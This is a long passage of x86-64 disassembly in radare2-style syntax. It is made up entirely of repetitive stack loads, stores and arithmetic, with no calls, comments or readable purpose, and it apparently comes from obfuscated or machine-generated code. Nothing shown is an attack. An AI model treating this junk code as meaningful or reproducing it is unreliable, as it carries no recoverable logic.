mov rax, qword [rsp + 0xc6a0]
mov qword [rsp + 0xe820], rax
mov rax, qword [rsp + 0xde78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6dfc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd9d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbf58]
mov rax, qword [rax]
mov qword [rsp + 0xe828], rax
mov eax, dword [rsp + 0x6d58]
mov ecx, dword [rsp + 0x6ab8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc198]
mov dword [rcx], eax
movzx eax, word [rsp + 0x19e8]
mov word [0x1402c967c], ax
movzx eax, word [rsp + 0x18cc]
mov rcx, qword [rsp + 0xcec0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd570]
mov word [rcx], ax
movzx eax, byte [rsp + 0xb2]
mov byte [rsp + 0x1c5], al
movzx eax, byte [rsp + 0x186]
mov rcx, qword [rsp + 0xc0f8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xb9], al
mov rax, qword [rsp + 0xe350]
movzx eax, byte [rax]
mov byte [rsp + 0x1c6], al
mov rax, qword [rsp + 0xdb30]
mov rcx, qword [rsp + 0xd810]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xe000]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6c48]
mov rcx, qword [rsp + 0xbbf8]
mov qword [rsp + 0xe830], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe830]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x6e14], eax
mov rax, qword [rsp + 0xd068]
mov rax, qword [rax]
mov qword [rsp + 0xe838], rax
mov rax, qword [rsp + 0xd368]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6e1c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xdbe8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xca18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbdc0]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x1402c9378]
mov byte [rcx], al
movzx eax, word [rsp + 0x165c]
mov word [rsp + 0x1b24], ax
mov rax, qword [rsp + 0xbca0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1a68]
shl eax, cl
mov word [rsp + 0x17b4], ax
lea rax, [rsp + 0x14f]
mov qword [rsp + 0xe840], rax
mov rax, qword [rsp + 0xca60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe5f8]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0xbef0]
mov word [rcx], ax
mov rax, qword [rsp + 0xd108]
mov rax, qword [rax]
mov rcx, qword [0x1402c7490]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcaa8]
mov qword [rcx], rax
lea rax, [rsp + 0xc510]
mov qword [rsp + 0xe848], rax
mov rax, qword [rsp + 0xe470]
mov ecx, dword [rsp + 0x6b90]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6cb0], eax
lea rax, [rsp + 0x6ea0]
mov qword [rsp + 0xe850], rax
mov rax, qword [rsp + 0xbf68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1594]
sub eax, ecx
mov word [0x1402c75d0], ax
mov rax, qword [rsp + 0xc4b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xed]
add eax, ecx
mov byte [rsp + 0x5f], al
mov rax, qword [0x1402c93f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xcec8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1b1], al
mov rax, qword [rsp + 0xdf28]
movzx eax, word [rax]
mov word [rsp + 0x1b28], ax
movzx eax, byte [rsp + 0xa3]
mov rcx, qword [rsp + 0xca08]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xd4c8]
mov byte [rcx], al
lea rax, [rsp + 0xc858]
mov qword [rsp + 0xe858], rax
mov rax, qword [rsp + 0xd108]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe7e8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc348]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6a54]
mov ecx, dword [rsp + 0x69e0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd188]
mov dword [rcx], eax
mov rax, qword [rsp + 0xdba0]
mov eax, dword [rax]
mov dword [rsp + 0x6eec], eax
mov rax, qword [rsp + 0xe410]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xda]
add eax, ecx
mov rcx, qword [0x1402c9668]
mov byte [rcx], al
mov rax, qword [rsp + 0xbca0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x15d4]
add eax, ecx
mov word [rsp + 0x17f8], ax
movzx eax, byte [rsp + 0x163]
mov byte [rsp + 0x1c7], al
movzx eax, byte [rsp + 0x64]
movzx ecx, byte [rsp + 0x65]
shl eax, cl
mov byte [rsp + 0x1ac], al
mov rax, qword [rsp + 0xbca0]
movzx eax, word [rax]
mov word [rsp + 0x1b2c], ax
mov rax, qword [rsp + 0xd3c0]
movzx ecx, al
mov rax, qword [rsp + 0xcfe0]
sar rax, cl
mov rcx, qword [rsp + 0xd680]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc768]
mov rcx, qword [rsp + 0xbf18]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xe588]
mov dword [rcx], eax
lea rax, [rsp + 0xe838]
mov qword [rsp + 0xe860], rax
mov rax, qword [rsp + 0xc3d0]
mov ecx, dword [rsp + 0x6d1c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xd300]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcec0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe1b8]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [0x1402c9170]
mov word [rcx], ax
movzx eax, byte [rsp + 0x137]
mov byte [rsp + 0x1c8], al
movsx eax, word [rsp + 0x1a8c]
mov rcx, qword [rsp + 0xdf50]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x16b8], ax
mov rax, qword [rsp + 0xe818]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b18]
sub eax, ecx
mov rcx, qword [rsp + 0xbbd0]
mov word [rcx], ax
lea rax, [0x1402c749f]
mov qword [rsp + 0xe868], rax
mov rax, qword [rsp + 0xd220]
mov ecx, dword [rsp + 0x68ec]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc628]
mov dword [rcx], eax
lea rax, [rsp + 0xc2b0]
mov qword [rsp + 0xe870], rax
mov rax, qword [rsp + 0xc5d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6da8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d94], eax
mov rax, qword [rsp + 0xd330]
mov rcx, qword [rsp + 0xe058]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xdd58]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe258]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xec]
add eax, ecx
mov byte [0x1402c7526], al
lea rax, [0x1402c9638]
mov qword [rsp + 0xe878], rax
movzx eax, word [rsp + 0x1914]
movzx ecx, word [rsp + 0x19c4]
imul eax, ecx
mov word [rsp + 0x16d8], ax
lea rax, [rsp + 0x1880]
mov qword [rsp + 0xe880], rax
movzx eax, byte [0x1402c74aa]
mov rcx, qword [rsp + 0xd360]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x134], al
mov rax, qword [rsp + 0xc6f0]
mov ecx, dword [rsp + 0x6ab4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6eb4], eax
mov eax, dword [rsp + 0x6b38]
mov dword [rsp + 0x6ef0], eax
mov rax, qword [rsp + 0xe6d8]
mov rcx, qword [rsp + 0xcc28]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc1c8]
mov qword [rcx], rax
lea rax, [rsp + 0xdac8]
mov qword [rsp + 0xe888], rax
mov rax, qword [rsp + 0xd170]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x181c]
sub eax, ecx
mov word [rsp + 0x1ad4], ax
mov rax, qword [rsp + 0xe3c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xda10]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [0x1402c74da], al
lea rax, [rsp + 0x18c0]
mov qword [rsp + 0xe890], rax
mov rax, qword [rsp + 0xe2a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1af]
or eax, ecx
mov rcx, qword [rsp + 0xd4a8]
mov byte [rcx], al
mov rax, qword [0x1402c9220]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x112]
xor eax, ecx
mov byte [rsp + 0xe5], al
mov eax, dword [rsp + 0x6ba8]
mov dword [rsp + 0x6ef4], eax
mov rax, qword [rsp + 0xc390]
mov rcx, qword [rsp + 0xdbd0]
mov qword [rsp + 0xe898], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe898]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xbd50]
mov qword [rcx], rax
lea rax, [rsp + 0x6b78]
mov qword [rsp + 0xe8a0], rax
mov rax, qword [rsp + 0xded0]
mov rcx, qword [rsp + 0xc418]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xd208]
mov qword [rcx], rax
movsx eax, byte [rsp + 0xed]
mov rcx, qword [rsp + 0xbef8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xba80]
mov byte [rcx], al
lea rax, [rsp + 0x1898]
mov qword [0x1402c9680], rax
mov rax, qword [rsp + 0xcf70]
movzx eax, word [rax]
mov word [rsp + 0x1b30], ax
movsx eax, byte [rsp + 0x13c]
mov rcx, qword [rsp + 0xd648]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbea8]
mov byte [rcx], al
mov rax, qword [0x1402c93c8]
movzx eax, byte [rax]
mov byte [rsp + 0x1c9], al
mov rax, qword [rsp + 0xcce8]
mov rcx, qword [rsp + 0xce08]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xddc0], rax
mov eax, dword [rsp + 0x6e60]
mov ecx, dword [rsp + 0x6e18]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6bb8], eax
lea rax, [rsp + 0xdf68]
mov qword [rsp + 0xe8a8], rax
mov eax, dword [rsp + 0x6e28]
mov ecx, dword [rsp + 0x68f4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd010]
mov dword [rcx], eax
lea rax, [rsp + 0x154c]
mov qword [rsp + 0xe8b0], rax
mov rax, qword [rsp + 0xe208]
movzx eax, byte [rax]
mov byte [0x1402c9127], al
movzx eax, byte [reloc.SHELL32.dll_ILSaveToStream]
mov rcx, qword [rsp + 0xdb10]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x19c], al
mov rax, qword [rsp + 0xdd18]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x17b8]
and eax, ecx
mov word [rsp + 0x1b2c], ax
mov rax, qword [rsp + 0xbfd0]
movzx eax, word [rax]
mov word [rsp + 0x1b34], ax
mov eax, dword [rsp + 0x6c74]
mov ecx, dword [rsp + 0x6b94]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xda88]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc5f8]
mov rax, qword [rax]
mov qword [rsp + 0xe8b8], rax
mov rax, qword [rsp + 0xcbd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6bf8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6ed8], eax
mov rax, qword [rsp + 0xd470]
mov rax, qword [rax]
mov qword [rsp + 0xe8c0], rax
mov rax, qword [rsp + 0xd6c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x152]
shl eax, cl
mov rcx, qword [rsp + 0xc9a0]
mov byte [rcx], al
movsx eax, word [rsp + 0x194c]
mov rcx, qword [rsp + 0xd688]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x1402c7570], ax
movzx eax, word [rsp + 0x18d0]
movzx ecx, word [rsp + 0x1af0]
xor eax, ecx
mov word [rsp + 0x1a7c], ax
mov rax, qword [rsp + 0xe5d0]
movzx eax, byte [rax]
mov byte [rsp + 0x1ca], al
mov rax, qword [rsp + 0xe570]
movzx eax, word [rax]
movzx ecx, word [0x1402c7594]
sub eax, ecx
mov rcx, qword [rsp + 0xbbc0]
mov word [rcx], ax
mov rax, qword [rsp + 0xe018]
movzx eax, word [rax]
mov word [rsp + 0x1b38], ax
mov rax, qword [rsp + 0xdfb8]
mov rcx, qword [rsp + 0xe690]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xd698], rax
mov rax, qword [rsp + 0xc2c0]
mov rcx, qword [rsp + 0xe6f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6d84], eax
mov eax, dword [rsp + 0x6cd0]
mov dword [rsp + 0x6ef8], eax
mov rax, qword [rsp + 0xe738]
mov rcx, qword [rsp + 0xe648]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xcba8]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x107]
movsx ecx, byte [rsp + 0xd2]
add eax, ecx
mov byte [0x1402c74d2], al
mov rax, qword [rsp + 0xe800]
movzx eax, byte [rax]
mov byte [rsp + 0x1cb], al
mov rax, qword [rsp + 0xbf30]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x169c]
sub eax, ecx
mov word [rsp + 0x1a9c], ax
movsx eax, word [rsp + 0x1a70]
mov rcx, qword [rsp + 0xcef0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xe018]
mov word [rcx], ax
mov rax, qword [rsp + 0xd570]
movzx eax, word [rax]
mov word [rsp + 0x1b3c], ax
mov rax, qword [rsp + 0xe300]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc4d0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xdb78]
mov qword [rcx], rax
lea rax, [0x1402c7498]
mov qword [rsp + 0xe8c8], rax
mov rax, qword [rsp + 0xcd18]
mov rcx, qword [rsp + 0xd1b0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc3f8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6c38]
mov dword [rsp + 0x6efc], eax
mov rax, qword [0x1402c9648]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x165]
and eax, ecx
mov byte [0x1402c7527], al
movsx eax, byte [rsp + 0x101]
movsx ecx, byte [rsp + 0x11f]
sar eax, cl
mov byte [rsp + 0x11b], al
movzx eax, word [rsp + 0x175c]
movzx ecx, word [rsp + 0x1818]
shl eax, cl
mov word [rsp + 0x176c], ax
lea rax, [rsp + 0x17d]
mov qword [rsp + 0xe8d0], rax
movsx eax, word [rsp + 0x1a98]
mov rcx, qword [rsp + 0xe7d0]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xc178]
mov word [rcx], ax
lea rax, [rsp + 0x6a64]
mov qword [rsp + 0xe8d8], rax
mov rax, qword [rsp + 0xd210]
mov rcx, qword [rsp + 0xd0a8]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xcd38]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe020]
mov rcx, qword [rsp + 0xda90]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xce20]
mov qword [rcx], rax
lea rax, [rsp + 0x6cc0]
mov qword [rsp + 0xe8e0], rax
mov rax, qword [0x1402c92c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe190]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402c91f8], ax
movsx eax, word [rsp + 0x1b28]
mov rcx, qword [rsp + 0xba68]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1b2c], ax
movzx eax, byte [0x1402c74e7]
mov byte [rsp + 0x1cc], al
movsx eax, byte [rsp + 0x12e]
mov rcx, qword [rsp + 0xcfa8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd1b8]
mov byte [rcx], al
mov rax, qword [rsp + 0xd798]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x138]
sub eax, ecx
mov rcx, qword [rsp + 0xbd70]
mov byte [rcx], al
mov eax, dword [0x1402c7498]
mov dword [rsp + 0x6f00], eax
mov rax, qword [rsp + 0xda88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6b74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d84], eax
mov rax, qword [rsp + 0xdcb8]
mov qword [rsp + 0xe8e8], rax
mov rax, qword [rsp + 0xbaa8]
mov rcx, qword [0x1402c90a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xe038], rax
movsx eax, byte [rsp + 0x50]
movsx ecx, byte [rsp + 0x12e]
add eax, ecx
mov byte [str.DP_b_aL6A], al
movzx eax, word [rsp + 0x1608]
movzx ecx, word [rsp + 0x164c]
add eax, ecx
mov rcx, qword [rsp + 0xe488]
mov word [rcx], ax
lea rax, [rsp + 0x1530]
mov qword [rsp + 0xe8f0], rax
mov rax, qword [rsp + 0xc228]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15a]
add eax, ecx
mov byte [rsp + 0x155], al
mov rax, qword [rsp + 0xcb18]
movzx eax, word [rax]
mov word [rsp + 0x1b40], ax
mov eax, dword [0x1402c90a0]
mov ecx, dword [rsp + 0x6d14]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd010]
mov dword [rcx], eax
lea rax, [rsp + 0x6a74]
mov qword [rsp + 0xe8f8], rax
mov rax, qword [rsp + 0xd468]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdc28]
mov qword [rsp + 0xe900], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe900]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xcf20], rax
mov rax, qword [rsp + 0xdad0]
mov rax, qword [rax]
mov rcx, qword [0x1402c7490]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xe8c0], rax
lea rax, [rsp + 0xa5]
mov qword [0x1402c9688], rax
mov rax, qword [rsp + 0xe3e8]
movzx eax, word [rax]
mov word [rsp + 0x1b44], ax
movsx eax, word [rsp + 0x19f4]
mov rcx, qword [rsp + 0xe018]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xd038]
mov word [rcx], ax
movzx eax, word [rsp + 0x1878]
mov word [rsp + 0x1b48], ax
mov rax, qword [rsp + 0xcf88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x189]
sar eax, cl
mov rcx, qword [rsp + 0xc238]
mov byte [rcx], al
mov rax, qword [rsp + 0xe7e8]
mov rcx, qword [rsp + 0xd0d8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xe028], rax
mov rax, qword [rsp + 0xd208]
mov rax, qword [rax]
mov qword [rsp + 0xe908], rax
mov rax, qword [rsp + 0xd980]
mov rcx, qword [rsp + 0xca10]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6c54], eax
mov eax, dword [rsp + 0x6cc8]
mov dword [rsp + 0x6f04], eax
mov rax, qword [rsp + 0xcbf8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd540]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1402c91c8]
mov byte [rcx], al
mov rax, qword [rsp + 0xd798]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x176]
and eax, ecx
mov rcx, qword [rsp + 0xd228]
mov byte [rcx], al
movzx eax, byte [0x1402c74a2]
mov rcx, qword [rsp + 0xc9d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbdc0]
mov byte [rcx], al
lea rax, [rsp + 0x1628]
mov qword [rsp + 0xe910], rax
movzx eax, word [rsp + 0x1700]
mov rcx, qword [rsp + 0xdbf8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1704], ax
mov rax, qword [0x1402c7490]
mov qword [rsp + 0xe918], rax
mov eax, dword [rsp + 0x6df8]
mov ecx, dword [rsp + 0x6ba4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xccc8]
mov dword [rcx], eax
lea rax, [rsp + 0xe400]
mov qword [rsp + 0xe920], rax
mov rax, qword [rsp + 0xcb48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d4c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6cb4], eax
lea rax, [rsp + 0x157]
mov qword [0x1402c9690], rax
movsx eax, word [rsp + 0x1a60]
mov rcx, qword [rsp + 0xe2b8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1694], ax
lea rax, [rsp + 0x169]
mov qword [rsp + 0xe928], rax
movsx eax, byte [reloc.SHELL32.dll_ILCombine]
mov rcx, qword [rsp + 0xd2d0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xec], al
lea rax, [rsp + 0x1838]
mov qword [rsp + 0xe930], rax
mov rax, qword [rsp + 0xcd70]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd290]
sar rax, cl
mov qword [rsp + 0xbec8], rax
mov rax, qword [rsp + 0xd010]
mov ecx, dword [rsp + 0x6ec8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6a24], eax
mov rax, qword [rsp + 0xc518]
mov rax, qword [rax]
mov qword [rsp + 0xe938], rax
mov eax, dword [rsp + 0x6cb4]
mov ecx, dword [rsp + 0x6eb4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc588]
mov dword [rcx], eax
lea rax, [rsp + 0x19e4]
mov qword [rsp + 0xe940], rax
mov rax, qword [rsp + 0xe660]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe630]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1402c90c3], al
mov rax, qword [rsp + 0xe100]
movzx eax, byte [rax]
movzx ecx, byte [0x1402c90df]
sub eax, ecx
mov rcx, qword [rsp + 0xe7b0]
mov byte [rcx], al
movzx eax, word [rsp + 0x1538]
mov rcx, qword [rsp + 0xc098]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1578], ax
lea rax, [rsp + 0x100]
mov qword [rsp + 0xe948], rax
mov rax, qword [rsp + 0xe740]
mov rcx, qword [rsp + 0xe7a0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc3a0], rax
mov rax, qword [rsp + 0xe048]
mov qword [rsp + 0xe950], rax
mov rax, qword [rsp + 0xd980]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6b94]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d48], eax
mov rax, qword [rsp + 0xd1e8]
mov rcx, qword [rsp + 0xe5c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xe5d8]
mov dword [rcx], eax
lea rax, [rsp + 0x9c]
mov qword [rsp + 0xe958], rax
movzx eax, word [rsp + 0x160c]
mov rcx, qword [rsp + 0xd160]
movzx ecx, word [rcx]
imul eax, ecx
mov word [0x1402c7580], ax
movsx eax, word [rsp + 0x1910]
mov rcx, qword [rsp + 0xe710]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1644], ax
mov rax, qword [rsp + 0xc1e0]
movzx eax, byte [rax]
mov byte [rsp + 0x1cd], al
movzx eax, byte [rsp + 0xa4]
mov rcx, qword [rsp + 0xbb18]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x7a], al
mov rax, qword [rsp + 0xd770]
mov rax, qword [rax]
mov qword [rsp + 0xe960], rax
mov rax, qword [rsp + 0xe850]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x696c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6ba8], eax
mov rax, qword [rsp + 0xd3a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd710]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xe720], rax
mov eax, dword [rsp + 0x6b80]
mov dword [rsp + 0x6f08], eax
mov rax, qword [rsp + 0xce60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe068]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1a0c], ax
movsx eax, byte [rsp + 0x1a9]
movsx ecx, byte [rsp + 0x15c]
sar eax, cl
mov byte [0x1402c752b], al
lea rax, [rsp + 0x1974]
mov qword [rsp + 0xe968], rax
mov rax, qword [rsp + 0xd8f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a0c]
or eax, ecx
mov word [rsp + 0x1930], ax
mov rax, qword [rsp + 0xca18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x59]
xor eax, ecx
mov rcx, qword [rsp + 0xda18]
mov byte [rcx], al
mov rax, qword [rsp + 0xdd78]
mov rax, qword [rax]
mov qword [rsp + 0xe970], rax
mov eax, dword [rsp + 0x6f00]
mov ecx, dword [rsp + 0x6e30]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcb48]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc7c8]
mov rax, qword [rax]
mov qword [rsp + 0xe978], rax
mov rax, qword [rsp + 0xdff8]
mov rcx, qword [rsp + 0xdca8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x68fc], eax
mov rax, qword [rsp + 0xdbb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbbd0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1acc], ax
movzx eax, byte [rsp + 0x71]
mov byte [0x1402c9142], al
mov rax, qword [rsp + 0xe7b0]
movzx eax, byte [rax]
mov byte [rsp + 0x1ce], al
mov rax, qword [rsp + 0xcd00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x15c0]
add eax, ecx
mov rcx, qword [rsp + 0xd148]
mov word [rcx], ax
lea rax, [rsp + 0x1908]
mov qword [rsp + 0xe980], rax
movzx eax, byte [rsp + 0xe3]
movzx ecx, byte [0x1402c74df]
sub eax, ecx
mov rcx, qword [rsp + 0xd440]
mov byte [rcx], al
mov rax, qword [rsp + 0xe638]
mov rcx, qword [rsp + 0xdc70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc550], rax
lea rax, [rsp + 0x6e9c]
mov qword [rsp + 0xe988], rax
mov rax, qword [rsp + 0xc888]
mov rcx, qword [0x1402c7490]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xdc20]
mov qword [rcx], rax
lea rax, [rsp + 0x69c0]
mov qword [rsp + 0xe990], rax
movzx eax, word [rsp + 0x1acc]
movzx ecx, word [rsp + 0x19f8]
sub eax, ecx
mov rcx, qword [0x1402c93a0]
mov word [rcx], ax
mov rax, qword [0x1402c95a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x17b0]
add eax, ecx
mov word [rsp + 0x1a70], ax
movzx eax, byte [rsp + 0xfb]
mov byte [rsp + 0x1cf], al
mov rax, qword [rsp + 0xddc8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1790]
sub eax, ecx
mov rcx, qword [rsp + 0xd938]
mov word [rcx], ax
movsx eax, word [rsp + 0x17a8]
mov rcx, qword [rsp + 0xe7d0]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xe188]
mov word [rcx], ax
mov rax, qword [rsp + 0xc668]
mov qword [rsp + 0xe998], rax
mov rax, qword [rsp + 0xd0d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6c28]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d10], eax
mov rax, qword [rsp + 0xbe10]
mov eax, dword [rax]
mov dword [rsp + 0x6f0c], eax
mov rax, qword [rsp + 0xc920]
mov rcx, qword [rsp + 0xdda8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xbea0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xdc68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1af]
shl eax, cl
mov byte [0x1402c750e], al
mov rax, qword [rsp + 0xca08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb6]
and eax, ecx
mov rcx, qword [rsp + 0xc870]
mov byte [rcx], al
lea rax, [rsp + 0x1a80]
mov qword [rsp + 0xe9a0], rax
mov rax, qword [rsp + 0xe2d0]
movsx eax, byte [rax]
mov rcx, qword [0x1402c9590]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd478]
mov byte [rcx], al
lea rax, [rsp + 0x1ab0]
mov qword [rsp + 0xe9a8], rax
mov rax, qword [rsp + 0xc3f0]
mov rcx, qword [rsp + 0xc678]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xba08], rax
mov rax, qword [rsp + 0xb9e0]
mov rcx, qword [rsp + 0xcb70]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd408], rax
mov eax, dword [rsp + 0x6bb4]
mov dword [rsp + 0x6f10], eax
mov eax, dword [rsp + 0x6e90]
mov ecx, dword [rsp + 0x6ed0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc090]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xac]
movzx ecx, byte [0x1402c74aa]
sub eax, ecx
mov byte [0x1402c752e], al
